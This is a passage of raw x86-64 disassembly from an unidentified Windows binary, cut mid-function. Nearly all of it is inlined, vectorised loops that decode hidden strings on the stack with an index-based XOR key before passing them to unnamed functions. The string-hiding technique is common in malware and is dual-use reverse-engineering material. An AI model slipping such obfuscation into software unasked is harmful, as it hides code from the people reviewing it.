movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003c60
cmp r8d, 0x16
jge 0x140003db3
movsxd rax, r8d
lea r9, [rbp + 0x1280]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140003d80
cmp byte [rbp + 0xfc3], 0
je 0x140003e93
cmp r15d, 2
jl 0x140003e52
movdqa xmm3, xmmword [0x14001bb20]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14001bb70]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14001bb70]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14001bb40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.WWWWWWWWWWWWWWWW]
movd xmm0, dword [rbp + 0xfc0]
xorps xmm2, xmm0
movd dword [rbp + 0xfc0], xmm2
jmp 0x140003e93
lea r9, [rbp + 0xfc0]
mov r8d, esi
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140003e60
mov rdx, rbx
lea rcx, [rbp + 0x780]
call fcn.1400184f0
mov r10, rax
cmp byte [rbp + 0x11e5], 0
je 0x140004013
mov r8d, esi
cmp r15d, 2
jl 0x140003fcf
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm2, xmmword [0x14001bb20]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001bb40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
mov eax, dword [str.WWWWWWWWWWWWWWWW]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11d8]
xorps xmm2, xmm1
movd dword [rbp + 0x11d8], xmm2
movdqa xmm3, xmmword [0x14001bb30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001bb40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11dc]
xorps xmm2, xmm1
movd dword [rbp + 0x11dc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x11d8]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140003fe0
mov r8, r10
lea rdx, [rbp + 0x11d8]
lea rcx, [rbp + 0x7a0]
call fcn.140018b20
nop
lea r8, [rbp + 0xfc0]
mov rdx, rax
lea rcx, [rbp + 0x7c0]
call fcn.140018980
nop
mov rdx, rax
lea rcx, [rbp + 0x17a0]
call fcn.1400183b0
nop
lea rcx, [rbp + 0x7c0]
call fcn.140018450
nop
lea rcx, [rbp + 0x7a0]
call fcn.140018450
nop
lea rcx, [rbp + 0x780]
call fcn.140018450
cmp byte [rbp + 0x11e5], 0
jne 0x1400041e3
mov r8d, esi
cmp r15d, 2
jl 0x1400041a1
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm2, xmmword [0x14001bb20]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001bb40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
mov eax, dword [str.WWWWWWWWWWWWWWWW]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11d8]
xorps xmm2, xmm1
movd dword [rbp + 0x11d8], xmm2
movdqa xmm3, xmmword [0x14001bb30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001bb40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11dc]
xorps xmm2, xmm1
movd dword [rbp + 0x11dc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x11d8]
add r9, rax
nop
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400041b0
cmp byte [rbp + 0xfc3], 0
jne 0x1400042c3
cmp r15d, 2
jl 0x140004282
movdqa xmm3, xmmword [0x14001bb20]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14001bb70]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14001bb70]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14001bb40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.WWWWWWWWWWWWWWWW]
movd xmm0, dword [rbp + 0xfc0]
xorps xmm2, xmm0
movd dword [rbp + 0xfc0], xmm2
jmp 0x1400042c3
lea r9, [rbp + 0xfc0]
mov r8d, esi
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140004290
cmp byte [rbp + 0x1e82], 0
je 0x140004463
mov r8d, esi
cmp r15d, 2
jl 0x14000441f
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1e5c]
mov edx, dword [rbp + 0xf0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140004312
cmp r8d, 0x2b
jge 0x140004463
movsxd rax, r8d
lea r9, [rbp + 0x1e58]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140004430
lea rdx, [rbp + 0x1e58]
lea rcx, [rbp + 0x17a0]
call fcn.1400182a0
cmp byte [rbp + 0x1e82], 0
jne 0x140004623
mov r8d, esi
cmp r15d, 2
jl 0x1400045dd
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1e5c]
mov edx, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400044d0
cmp r8d, 0x2b
jge 0x140004623
movsxd rax, r8d
lea r9, [rbp + 0x1e58]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x1400045f0
lea rdx, [rbp + 0x17a0]
lea rcx, [rbp + 0x7e0]
call fcn.140018530
mov rcx, rax
call fcn.140002350
lea rcx, [rbp + 0x17a0]
call fcn.140018170
nop
lea rcx, [rbp + 0x17a0]
call fcn.140018450
cmp byte [rbp + 0x1230], 0
jne 0x1400049a3
mov r8d, esi
cmp r15d, 2
jl 0x1400047bd
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1224]
mov edx, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400046b0
cmp r8d, 0x11
jge 0x140004803
movsxd rax, r8d
lea r9, [rbp + 0x1220]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400047d0
cmp byte [rbp + 0x1230], 0
jne 0x1400049a3
mov r8d, esi
cmp r15d, 2
jl 0x14000495f
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1224]
mov edx, dword [rbp + 0xf0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140004852
cmp r8d, 0x11
jge 0x1400049a3
movsxd rax, r8d
lea r9, [rbp + 0x1220]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140004970
lea rdx, [rbp + 0x17e0]
lea rcx, [rbp + 0x800]
call fcn.140018530
mov r15, rax
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x2258]
lea rcx, [rsp + 0x79]
call fcn.140002690
lea rdx, [rbp + 0x1268]
lea rcx, [rsp + 0x7a]
call fcn.1400026e0
mov edi, dword [0x14001e088]
cmp byte [rbp + 0x127d], 0
je 0x140004b93
mov r8d, esi
cmp edi, 2
jl 0x140004b4d
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x126c]
mov edx, dword [rbp + 0xf0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140004a40
cmp r8d, 0x16
jge 0x140004b93
movsxd rax, r8d
lea r9, [rbp + 0x1268]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140004b60
cmp byte [rbp + 0x228e], 0
je 0x140004d33
mov r8d, esi
cmp edi, 2
jl 0x140004cee
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x225c]
mov edx, dword [rbp + 0xf0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140004be1
cmp r8d, 0x37
jge 0x140004d33
movsxd rax, r8d
lea r9, [rbp + 0x2258]
add r9, rax
nop dword [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x37
jl 0x140004d00
mov r8, r15
lea rdx, [rbp + 0x2258]
lea rcx, [rbp + 0x820]
call fcn.140018b80
nop
lea r8, [rbp + 0x1268]
mov rdx, rax
lea rcx, [rbp + 0x1700]
call fcn.140018980
nop
lea rcx, [rbp + 0x820]
call fcn.140018450
cmp byte [rbp + 0x228e], 0
jne 0x140004f13
mov r8d, esi
cmp edi, 2
jl 0x140004ecd
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x225c]
mov edx, dword [rbp + 0xf0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140004dc0
cmp r8d, 0x37
jge 0x140004f13
movsxd rax, r8d
lea r9, [rbp + 0x2258]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x37
jl 0x140004ee0
cmp byte [rbp + 0x127d], 0
jne 0x1400050b3
mov r8d, esi
cmp edi, 2
jl 0x14000506e
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
